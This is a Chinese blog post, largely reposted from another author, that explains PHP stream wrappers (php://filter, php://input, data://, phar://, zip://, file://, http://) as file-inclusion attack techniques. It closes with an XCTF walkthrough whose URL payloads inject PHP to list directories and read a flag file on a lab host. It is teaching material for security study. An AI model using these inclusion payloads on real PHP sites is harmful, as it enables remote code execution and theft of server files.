php伪协议分析与CTF例题讲解

 
 
 
 
 
 

 本文大量转载于:https://blog.csdn.net/qq_41289254/article/details/81388343 (感谢博主)

一,php://  访问输入输出流,有两个常用的子协议

1,php://filter  设计用来过滤筛选文件

 使用方法:非php语法文件include失败,直接输出源码内容。

 

php://filter/resource=需要包含的文件

 

 

还有一种使用方法是:以读的形式,将需要包含的文件名转化为base64编码的方式进行读取,这样传入至include函数的文件名不会被误以为是php执行文件而执行,而是以base64编码方式显示源码

php://filter/read=convert.base64-encode/resource=需要包含的文件

二、php://input

利用方法:将要执行的语法php代码写在post中提交,不用键与值的形式,只写代码即可

 

 

 

 

 

三、file://  后跟文件目录绝对路径

file:// 与php:filter类似,访问本地文件,但是只能传入绝对路径

 

 

四、phar://  可以查找指定压缩包内的文件

使用绝对路径与相对路径均可

 

 

五、zip://  用法与phar类似,不过有两点要注意

1,只能传入绝对路径。

2,要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23

 

 

 

六、data  与input 类似,都是用户可以控制传入的php代码

1,直接写入代码

data: text/plain,<?php 执行内容 ?>

 

 

2、base64编码后写入代码

data:text/plain;(注意是分号不是逗号,与前面不同)base64,编码后的php代码

 

 

注:有一点要注意的问题,base64编码后的加号和等号要手动的url编码,否则无法识别。如下图所示:

 

 

七、http协议

include中也可以传入外部链接,采用http://

 

 

关于allow_url_fopenallow_url_include的设置和用法总结:

 

 

XCTF例题:

除去php://;使用data://伪协议的方式,首先查看根目录,打印根路径的文件有哪些

echo $_SERVER['DOCUMENT_ROOT'];

 

 再查看根目录下有哪些文件:

http://111.200.241.244:36230/?page=data://text/plain,?page=data://text/plain,%3C?php%20print_r(scandir(%27/var/www%27));?%3E

http://111.200.241.244:36230/?page=data://text/plain,%3C?php%20$a=file_get_contents(%27fl4gisisish3r3.php%27);echo%20htmlspecialchars($a);%20?%3E

file_get_contents

file_get_contents — 将整个文件读入一个字符串

htmlspecialchars

htmlspecialchars — 将特殊字符转换为 HTML 实体输出,可获取flag

http://111.200.241.244:36230/?page=data://text/plain,%3C?php%20$a=file_get_contents(%27fl4gisisish3r3.php%27);echo%20htmlspecialchars($a);%20?%3E

 

posted @ 2021-02-09 11:58  铺哩  阅读(775)  评论(0编辑  收藏  举报